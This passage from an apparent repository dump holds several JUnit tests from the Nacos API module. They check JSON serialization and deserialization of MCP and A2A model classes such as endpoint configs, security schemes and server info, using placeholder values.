    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.a2a;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass SecuritySchemeTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        SecurityScheme securityScheme = new SecurityScheme();\n        securityScheme.put(\"type\", \"apiKey\");\n        securityScheme.put(\"name\", \"Authorization\");\n        securityScheme.put(\"in\", \"header\");\n        \n        String json = mapper.writeValueAsString(securityScheme);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"apiKey\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"Authorization\\\"\"));\n        assertTrue(json.contains(\"\\\"in\\\":\\\"header\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"apiKey\\\",\\\"name\\\":\\\"Authorization\\\",\\\"in\\\":\\\"header\\\"}\";\n        \n        SecurityScheme securityScheme = mapper.readValue(json, SecurityScheme.class);\n        assertNotNull(securityScheme);\n        assertEquals(\"apiKey\", securityScheme.get(\"type\"));\n        assertEquals(\"Authorization\", securityScheme.get(\"name\"));\n        assertEquals(\"header\", securityScheme.get(\"in\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/EncryptObjectTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass EncryptObjectTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        EncryptObject encryptObject = new EncryptObject();\n        encryptObject.setData(\"encryptedData\");\n        \n        Map<String, String> encryptInfo = new HashMap<>();\n        encryptInfo.put(\"alg\", \"AES\");\n        encryptInfo.put(\"iv\", \"initialVector\");\n        encryptObject.setEncryptInfo(encryptInfo);\n        \n        String json = mapper.writeValueAsString(encryptObject);\n        assertTrue(json.contains(\"\\\"data\\\":\\\"encryptedData\\\"\"));\n        assertTrue(json.contains(\"\\\"encryptInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"alg\\\":\\\"AES\\\"\"));\n        assertTrue(json.contains(\"\\\"iv\\\":\\\"initialVector\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"data\\\":\\\"encryptedData\\\",\\\"encryptInfo\\\":{\\\"alg\\\":\\\"AES\\\",\\\"iv\\\":\\\"initialVector\\\"}}\";\n        \n        EncryptObject result = mapper.readValue(json, EncryptObject.class);\n        assertNotNull(result);\n        assertEquals(\"encryptedData\", result.getData());\n        assertNotNull(result.getEncryptInfo());\n        assertEquals(\"AES\", result.getEncryptInfo().get(\"alg\"));\n        assertEquals(\"initialVector\", result.getEncryptInfo().get(\"iv\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/FrontEndpointConfigTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.KeyValueInput;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass FrontEndpointConfigTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        FrontEndpointConfig frontEndpointConfig = new FrontEndpointConfig();\n        frontEndpointConfig.setType(\"sse\");\n        frontEndpointConfig.setProtocol(\"http\");\n        frontEndpointConfig.setEndpointType(\"DIRECT\");\n        frontEndpointConfig.setEndpointData(\"127.0.0.1:8080\");\n        frontEndpointConfig.setPath(\"/test\");\n        \n        List<KeyValueInput> headers = new ArrayList<>();\n        KeyValueInput header = new KeyValueInput();\n        header.setName(\"Authorization\");\n        header.setValue(\"Bearer token\");\n        headers.add(header);\n        frontEndpointConfig.setHeaders(headers);\n        \n        String json = mapper.writeValueAsString(frontEndpointConfig);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"sse\\\"\"));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"http\\\"\"));\n        assertTrue(json.contains(\"\\\"endpointType\\\":\\\"DIRECT\\\"\"));\n        assertTrue(json.contains(\"\\\"endpointData\\\":\\\"127.0.0.1:8080\\\"\"));\n        assertTrue(json.contains(\"\\\"path\\\":\\\"/test\\\"\"));\n        assertTrue(json.contains(\"\\\"headers\\\":[\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"sse\\\",\\\"protocol\\\":\\\"http\\\",\\\"endpointType\\\":\\\"DIRECT\\\",\"\n                + \"\\\"endpointData\\\":\\\"127.0.0.1:8080\\\",\\\"path\\\":\\\"/test\\\",\"\n                + \"\\\"headers\\\":[{\\\"name\\\":\\\"Authorization\\\",\\\"value\\\":\\\"Bearer token\\\"}]}\";\n        \n        FrontEndpointConfig result = mapper.readValue(json, FrontEndpointConfig.class);\n        assertNotNull(result);\n        assertEquals(\"sse\", result.getType());\n        assertEquals(\"http\", result.getProtocol());\n        assertEquals(\"DIRECT\", result.getEndpointType());\n        assertEquals(\"127.0.0.1:8080\", result.getEndpointData());\n        assertEquals(\"/test\", result.getPath());\n        assertNotNull(result.getHeaders());\n        assertEquals(1, result.getHeaders().size());\n        assertEquals(\"Authorization\", result.getHeaders().get(0).getName());\n        assertEquals(\"Bearer token\", result.getHeaders().get(0).getValue());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpCapabilityTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass McpCapabilityTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        String jsonTool = mapper.writeValueAsString(McpCapability.TOOL);\n        String jsonPrompt = mapper.writeValueAsString(McpCapability.PROMPT);\n        String jsonResource = mapper.writeValueAsString(McpCapability.RESOURCE);\n        \n        assertEquals(\"\\\"TOOL\\\"\", jsonTool);\n        assertEquals(\"\\\"PROMPT\\\"\", jsonPrompt);\n        assertEquals(\"\\\"RESOURCE\\\"\", jsonResource);\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        assertEquals(McpCapability.TOOL, mapper.readValue(\"\\\"TOOL\\\"\", McpCapability.class));\n        assertEquals(McpCapability.PROMPT, mapper.readValue(\"\\\"PROMPT\\\"\", McpCapability.class));\n        assertEquals(McpCapability.RESOURCE, mapper.readValue(\"\\\"RESOURCE\\\"\", McpCapability.class));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpEndpointInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.KeyValueInput;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpEndpointInfoTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpEndpointInfo endpointInfo = new McpEndpointInfo();\n        endpointInfo.setProtocol(\"https\");\n        endpointInfo.setAddress(\"127.0.0.1\");\n        endpointInfo.setPort(8080);\n        endpointInfo.setPath(\"/api/mcp\");\n        \n        List<KeyValueInput> headers = new ArrayList<>();\n        KeyValueInput header = new KeyValueInput();\n        header.setName(\"Content-Type\");\n        header.setValue(\"application/json\");\n        headers.add(header);\n        endpointInfo.setHeaders(headers);\n        \n        String json = mapper.writeValueAsString(endpointInfo);\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"https\\\"\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":8080\"));\n        assertTrue(json.contains(\"\\\"path\\\":\\\"/api/mcp\\\"\"));\n        assertTrue(json.contains(\"\\\"headers\\\":[\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"protocol\\\":\\\"https\\\",\\\"address\\\":\\\"127.0.0.1\\\",\\\"port\\\":8080,\\\"path\\\":\\\"/api/mcp\\\",\"\n                + \"\\\"headers\\\":[{\\\"name\\\":\\\"Content-Type\\\",\\\"value\\\":\\\"application/json\\\"}]}\";\n        \n        McpEndpointInfo result = mapper.readValue(json, McpEndpointInfo.class);\n        assertNotNull(result);\n        assertEquals(\"https\", result.getProtocol());\n        assertEquals(\"127.0.0.1\", result.getAddress());\n        assertEquals(8080, result.getPort());\n        assertEquals(\"/api/mcp\", result.getPath());\n        assertNotNull(result.getHeaders());\n        assertEquals(1, result.getHeaders().size());\n        assertEquals(\"Content-Type\", result.getHeaders().get(0).getName());\n        assertEquals(\"application/json\", result.getHeaders().get(0).getValue());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpEndpointSpecTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpEndpointSpecTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpEndpointSpec mcpEndpointSpec = new McpEndpointSpec();\n        mcpEndpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        mcpEndpointSpec.getData().put(\"address\", \"127.0.0.1\");\n        mcpEndpointSpec.getData().put(\"port\", \"8080\");\n        String json = mapper.writeValueAsString(mcpEndpointSpec);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"DIRECT\\\"\"));\n        assertTrue(json.contains(\"\\\"data\\\":{\"));\n        assertTrue(json.contains(\"\\\"address\\\":\\\"127.0.0.1\\\"\"));\n        assertTrue(json.contains(\"\\\"port\\\":\\\"8080\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"DIRECT\\\",\\\"data\\\":{\\\"address\\\":\\\"127.0.0.1\\\",\\\"port\\\":\\\"8080\\\"}}\";\n        McpEndpointSpec mcpEndpointSpec = mapper.readValue(json, McpEndpointSpec.class);\n        assertEquals(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT, mcpEndpointSpec.getType());\n        assertEquals(\"127.0.0.1\", mcpEndpointSpec.getData().get(\"address\"));\n        assertEquals(\"8080\", mcpEndpointSpec.getData().get(\"port\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerBasicInfoEnhancedFieldsTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Icon;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass McpServerBasicInfoEnhancedFieldsTest {\n    \n    @Test\n    void testNamespaceIdField() {\n        McpServerBasicInfo basicInfo = new McpServerBasicInfo();\n        basicInfo.setNamespaceId(\"public\");\n        \n        assertEquals(\"public\", basicInfo.getNamespaceId());\n    }\n    \n    @Test\n    void testIconsField() {\n        McpServerBasicInfo basicInfo = new McpServerBasicInfo();\n        \n        Icon icon1 = new Icon();\n        icon1.setSrc(\"https://example.com/icon-light.png\");\n        icon1.setMimeType(Icon.MimeType.IMAGE_PNG);\n        icon1.setTheme(Icon.Theme.LIGHT);\n        \n        Icon icon2 = new Icon();\n        icon2.setSrc(\"https://example.com/icon-dark.png\");\n        icon2.setMimeType(Icon.MimeType.IMAGE_PNG);\n        icon2.setTheme(Icon.Theme.DARK);\n        \n        basicInfo.setIcons(Arrays.asList(icon1, icon2));\n        \n        assertNotNull(basicInfo.getIcons());\n        assertEquals(2, basicInfo.getIcons().size());\n        assertEquals(\"light\", basicInfo.getIcons().get(0).getTheme().getValue());\n        assertEquals(\"dark\", basicInfo.getIcons().get(1).getTheme().getValue());\n    }\n    \n    @Test\n    void testWebsiteUrlField() {\n        McpServerBasicInfo basicInfo = new McpServerBasicInfo();\n        basicInfo.setWebsiteUrl(\"https://example.com\");\n        \n        assertEquals(\"https://example.com\", basicInfo.getWebsiteUrl());\n    }\n    \n    @Test\n    void testAllEnhancedFieldsTogether() {\n        McpServerBasicInfo basicInfo = new McpServerBasicInfo();\n        basicInfo.setId(\"server-1\");\n        basicInfo.setName(\"Test Server\");\n        basicInfo.setNamespaceId(\"custom\");\n        basicInfo.setWebsiteUrl(\"https://test.example.com\");\n        basicInfo.setDescription(\"A test server\");\n        \n        Icon icon = new Icon();\n        icon.setSrc(\"https://example.com/logo.svg\");\n        icon.setMimeType(Icon.MimeType.IMAGE_SVG_XML);\n        basicInfo.setIcons(Arrays.asList(icon));\n        \n        // Verify all fields are accessible\n        assertEquals(\"server-1\", basicInfo.getId());\n        assertEquals(\"Test Server\", basicInfo.getName());\n        assertEquals(\"custom\", basicInfo.getNamespaceId());\n        assertEquals(\"https://test.example.com\", basicInfo.getWebsiteUrl());\n        assertEquals(\"A test server\", basicInfo.getDescription());\n        assertEquals(1, basicInfo.getIcons().size());\n    }\n    \n    @Test\n    void testNamespaceIdInheritedByDetailInfo() {\n        McpServerDetailInfo detailInfo = new McpServerDetailInfo();\n        detailInfo.setNamespaceId(\"public\");\n        \n        assertEquals(\"public\", detailInfo.getNamespaceId());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerBasicInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Package;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Repository;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.SerializationFeature;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerBasicInfoTest extends BasicRequestTest {\n    \n    @Test\n    void testSerializeForStdio() throws JsonProcessingException {\n        mapper.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS);\n        \n        McpServerBasicInfo serverBasicInfo = new McpServerBasicInfo();\n        String id = UUID.randomUUID().toString();\n        serverBasicInfo.setId(id);\n        serverBasicInfo.setName(\"stdioServer\");\n        serverBasicInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        serverBasicInfo.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        serverBasicInfo.setDescription(\"test stdio server\");\n        serverBasicInfo.setRepository(new Repository());\n        serverBasicInfo.setVersionDetail(new ServerVersionDetail());\n        serverBasicInfo.getVersionDetail().setVersion(\"1.0.0\");\n        serverBasicInfo.getVersionDetail().setIs_latest(true);\n        serverBasicInfo.setLocalServerConfig(new HashMap<>());\n        serverBasicInfo.setEnabled(true);\n        serverBasicInfo.setCapabilities(Collections.singletonList(McpCapability.TOOL));\n        serverBasicInfo.setStatus(AiConstants.Mcp.MCP_STATUS_ACTIVE);\n        \n        // 添加 Package 测试\n        Package pkg = new Package();\n        pkg.setIdentifier(\"test-package\");\n        pkg.setVersion(\"1.0.0\");\n        serverBasicInfo.setPackages(Collections.singletonList(pkg));\n        \n        String json = mapper.writeValueAsString(serverBasicInfo);\n        assertTrue(json.contains(String.format(\"\\\"id\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"stdioServer\\\"\"));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"stdio\\\"\"));\n        assertTrue(json.contains(\"\\\"frontProtocol\\\":\\\"stdio\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test stdio server\\\"\"));\n        assertTrue(json.contains(\"\\\"repository\\\":{}\"));\n        assertTrue(json.contains(\"\\\"versionDetail\\\":{\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"is_latest\\\":true\"));\n        assertTrue(json.contains(\"\\\"localServerConfig\\\":{}\"));\n        assertTrue(json.contains(\"\\\"enabled\\\":true\"));\n        assertTrue(json.contains(\"\\\"capabilities\\\":[\\\"TOOL\\\"]\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"active\\\"\"));\n        assertTrue(json.contains(\"\\\"packages\\\":[\"));\n    }\n    \n    @Test\n    void testDeserializeForStdio() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"3a2c535c-d0a8-44a4-8913-0cef98904ebd\\\",\\\"name\\\":\\\"stdioServer\\\",\"\n                + \"\\\"protocol\\\":\\\"stdio\\\",\\\"frontProtocol\\\":\\\"stdio\\\",\\\"description\\\":\\\"test stdio server\\\",\"\n                + \"\\\"repository\\\":{},\\\"versionDetail\\\":{\\\"version\\\":\\\"1.0.0\\\",\\\"is_latest\\\":true},\"\n                + \"\\\"localServerConfig\\\":{},\\\"enabled\\\":true,\\\"capabilities\\\":[\\\"TOOL\\\"],\\\"status\\\":\\\"active\\\",\"\n                + \"\\\"packages\\\":[{\\\"identifier\\\":\\\"test-package\\\",\\\"version\\\":\\\"1.0.0\\\"}]}\";\n        \n        McpServerBasicInfo result = mapper.readValue(json, McpServerBasicInfo.class);\n        assertNotNull(result);\n        assertEquals(\"3a2c535c-d0a8-44a4-8913-0cef98904ebd\", result.getId());\n        assertEquals(\"stdioServer\", result.getName());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, result.getProtocol());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, result.getFrontProtocol());\n        assertEquals(\"test stdio server\", result.getDescription());\n        assertNotNull(result.getRepository());\n        assertNotNull(result.getVersionDetail());\n        assertEquals(\"1.0.0\", result.getVersionDetail().getVersion());\n        assertTrue(result.getVersionDetail().getIs_latest());\n        assertNotNull(result.getLocalServerConfig());\n        assertTrue(result.isEnabled());\n        assertNotNull(result.getCapabilities());\n        assertEquals(1, result.getCapabilities().size());\n        assertEquals(McpCapability.TOOL, result.getCapabilities().get(0));\n        assertEquals(AiConstants.Mcp.MCP_STATUS_ACTIVE, result.getStatus());\n        assertNotNull(result.getPackages());\n        assertEquals(1, result.getPackages().size());\n        assertEquals(\"test-package\", result.getPackages().get(0).getIdentifier());\n        assertEquals(\"1.0.0\", result.getPackages().get(0).getVersion());\n    }\n    \n    @Test\n    void testSerializeForSse() throws JsonProcessingException {\n        mapper.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS);\n        \n        McpServerBasicInfo serverBasicInfo = new McpServerBasicInfo();\n        String id = UUID.randomUUID().toString();\n        serverBasicInfo.setId(id);\n        serverBasicInfo.setName(\"sseServer\");\n        serverBasicInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        serverBasicInfo.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        serverBasicInfo.setDescription(\"test sse server\");\n        serverBasicInfo.setRepository(new Repository());\n        serverBasicInfo.setVersionDetail(new ServerVersionDetail());\n        serverBasicInfo.getVersionDetail().setVersion(\"1.0.0\");\n        serverBasicInfo.getVersionDetail().setIs_latest(false);\n        serverBasicInfo.setRemoteServerConfig(new McpServerRemoteServiceConfig());\n        serverBasicInfo.getRemoteServerConfig().setExportPath(\"/test\");\n        serverBasicInfo.setEnabled(false);\n        serverBasicInfo.setCapabilities(Collections.singletonList(McpCapability.RESOURCE));\n        serverBasicInfo.setStatus(AiConstants.Mcp.MCP_STATUS_DEPRECATED);\n        \n        // 添加 Package 测试\n        Package pkg = new Package();\n        pkg.setIdentifier(\"test-package\");\n        pkg.setVersion(\"1.0.0\");\n        serverBasicInfo.setPackages(Collections.singletonList(pkg));\n        \n        String json = mapper.writeValueAsString(serverBasicInfo);\n        assertTrue(json.contains(String.format(\"\\\"id\\\":\\\"%s\\\"\", id)));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"sseServer\\\"\"));\n        assertTrue(json.contains(\"\\\"protocol\\\":\\\"mcp-sse\\\"\"));\n        assertTrue(json.contains(\"\\\"frontProtocol\\\":\\\"mcp-sse\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test sse server\\\"\"));\n        assertTrue(json.contains(\"\\\"repository\\\":{}\"));\n        assertTrue(json.contains(\"\\\"versionDetail\\\":{\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"is_latest\\\":false\"));\n        assertTrue(json.contains(\"\\\"remoteServerConfig\\\":{\"));\n        assertTrue(json.contains(\"\\\"exportPath\\\":\\\"/test\\\"\"));\n        assertTrue(json.contains(\"\\\"enabled\\\":false\"));\n        assertTrue(json.contains(\"\\\"capabilities\\\":[\\\"RESOURCE\\\"]\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"deprecated\\\"\"));\n        assertTrue(json.contains(\"\\\"packages\\\":[\"));\n    }\n    \n    @Test\n    void testDeserializeForSse() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"c769b89b-edb5-4912-8e39-71bf5dc31eab\\\",\\\"name\\\":\\\"sseServer\\\",\"\n                + \"\\\"protocol\\\":\\\"mcp-sse\\\",\\\"frontProtocol\\\":\\\"mcp-sse\\\",\\\"description\\\":\\\"test sse server\\\",\"\n                + \"\\\"repository\\\":{},\\\"versionDetail\\\":{\\\"version\\\":\\\"1.0.0\\\",\\\"is_latest\\\":false},\"\n                + \"\\\"remoteServerConfig\\\":{\\\"exportPath\\\":\\\"/test\\\"},\\\"enabled\\\":false,\"\n                + \"\\\"capabilities\\\":[\\\"RESOURCE\\\"],\\\"status\\\":\\\"deprecated\\\",\"\n                + \"\\\"packages\\\":[{\\\"identifier\\\":\\\"test-package\\\",\\\"version\\\":\\\"1.0.0\\\"}]}\";\n        \n        McpServerBasicInfo result = mapper.readValue(json, McpServerBasicInfo.class);\n        assertNotNull(result);\n        assertEquals(\"c769b89b-edb5-4912-8e39-71bf5dc31eab\", result.getId());\n        assertEquals(\"sseServer\", result.getName());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_SSE, result.getProtocol());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_SSE, result.getFrontProtocol());\n        assertEquals(\"test sse server\", result.getDescription());\n        assertNotNull(result.getRepository());\n        assertNotNull(result.getVersionDetail());\n        assertEquals(\"1.0.0\", result.getVersionDetail().getVersion());\n        assertFalse(result.getVersionDetail().getIs_latest());\n        assertNotNull(result.getRemoteServerConfig());\n        assertEquals(\"/test\", result.getRemoteServerConfig().getExportPath());\n        assertFalse(result.isEnabled());\n        assertNotNull(result.getCapabilities());\n        assertEquals(1, result.getCapabilities().size());\n        assertEquals(McpCapability.RESOURCE, result.getCapabilities().get(0));\n        assertEquals(AiConstants.Mcp.MCP_STATUS_DEPRECATED, result.getStatus());\n        assertNotNull(result.getPackages());\n        assertEquals(1, result.getPackages().size());\n        assertEquals(\"test-package\", result.getPackages().get(0).getIdentifier());\n        assertEquals(\"1.0.0\", result.getPackages().get(0).getVersion());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerDetailInfoTest.java",
